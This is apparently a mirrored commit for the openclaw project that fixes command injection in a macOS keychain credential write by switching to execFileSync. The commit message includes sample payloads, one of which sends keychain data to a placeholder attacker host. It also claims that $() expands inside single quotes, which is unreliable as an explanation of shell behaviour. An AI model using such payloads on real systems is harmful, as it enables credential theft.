mirror of
https://github.com/openclaw/openclaw.git
synced 2026-05-03 23:50:25 +00:00
fix(security): prevent shell injection in macOS keychain credential write (#15924)
Replace execSync with execFileSync in writeClaudeCliKeychainCredentials
to prevent command injection via malicious OAuth token values (OC-28,
CWE-78, Severity: HIGH).
## Vulnerable Code
The previous implementation built a shell command via string
interpolation with single-quote escaping:
execSync(`security add-generic-password -U -s "..." -a "..." -w '${newValue.replace(/'/g, "'\"'\"'")}'`)
The replace() call only handles literal single quotes, but /bin/sh
still interprets other shell metacharacters inside the resulting
command string.
## Attack Vector
User-controlled OAuth tokens (from a malicious OAuth provider response)
could escape single-quote protection via:
- Command substitution: $(curl attacker.com/exfil?data=$(security ...))
- Backtick expansion: `id > /tmp/pwned`
These payloads bypass the single-quote escaping because $() and
backtick substitution are processed by the shell before the quotes
are evaluated, enabling arbitrary command execution as the gateway
user.
## Fix
execFileSync spawns the security binary directly, passing arguments
as an array that is never shell-interpreted:
execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", newValue])
This eliminates the shell injection vector entirely — no escaping
needed, the OS handles argument boundaries natively.
This commit is contained in:
@@ -1,5 +1,5 @@
|
||||
import type { OAuthCredentials, OAuthProvider } from "@mariozechner/pi-ai";
|
||||
import { execSync } from "node:child_process";
|
||||
import { execFileSync, execSync } from "node:child_process";
|
||||
import { createHash } from "node:crypto";
|
||||
import fs from "node:fs";
|
||||
import path from "node:path";
|
||||
@@ -86,6 +86,7 @@ type ClaudeCliWriteOptions = ClaudeCliFileOptions & {
|
||||
};
|
||||
|
||||
type ExecSyncFn = typeof execSync;
|
||||
type ExecFileSyncFn = typeof execFileSync;
|
||||
|
||||
function resolveClaudeCliCredentialsPath(homeDir?: string) {
|
||||
const baseDir = homeDir ?? resolveUserPath("~");
|
||||
@@ -381,9 +382,10 @@ export function readClaudeCliCredentialsCached(options?: {
|
||||
|
||||
export function writeClaudeCliKeychainCredentials(
|
||||
newCredentials: OAuthCredentials,
|
||||
options?: { execSync?: ExecSyncFn },
|
||||
options?: { execSync?: ExecSyncFn; execFileSync?: ExecFileSyncFn },
|
||||
): boolean {
|
||||
const execSyncImpl = options?.execSync ?? execSync;
|
||||
const execFileSyncImpl = options?.execFileSync ?? execFileSync;
|
||||
try {
|
||||
const existingResult = execSyncImpl(
|
||||
`security find-generic-password -s "${CLAUDE_CLI_KEYCHAIN_SERVICE}" -w 2>/dev/null`,
|
||||
@@ -405,10 +407,15 @@ export function writeClaudeCliKeychainCredentials(
|
||||
|
||||
const newValue = JSON.stringify(existingData);
|
||||
|
||||
execSyncImpl(
|
||||
`security add-generic-password -U -s "${CLAUDE_CLI_KEYCHAIN_SERVICE}" -a "${CLAUDE_CLI_KEYCHAIN_ACCOUNT}" -w '${newValue.replace(/'/g, "'\"'\"'")}'`,
|
||||
{ encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] },
|
||||
);
|
||||
// Use execFileSync to avoid shell interpretation of user-controlled token values.
|
||||
// This prevents command injection via $() or backtick expansion in OAuth tokens.
|
||||
execFileSyncImpl("security", [
|
||||
"add-generic-password",
|
||||
"-U",
|
||||
"-s", CLAUDE_CLI_KEYCHAIN_SERVICE,
|
||||
"-a", CLAUDE_CLI_KEYCHAIN_ACCOUNT,
|
||||
"-w", newValue,
|
||||
], { encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] });
|
||||
|
||||
log.info("wrote refreshed credentials to claude cli keychain", {
|
||||
expires: new Date(newCredentials.expires).toISOString(),
|
||||
|
||||
Reference in New Issue
Block a user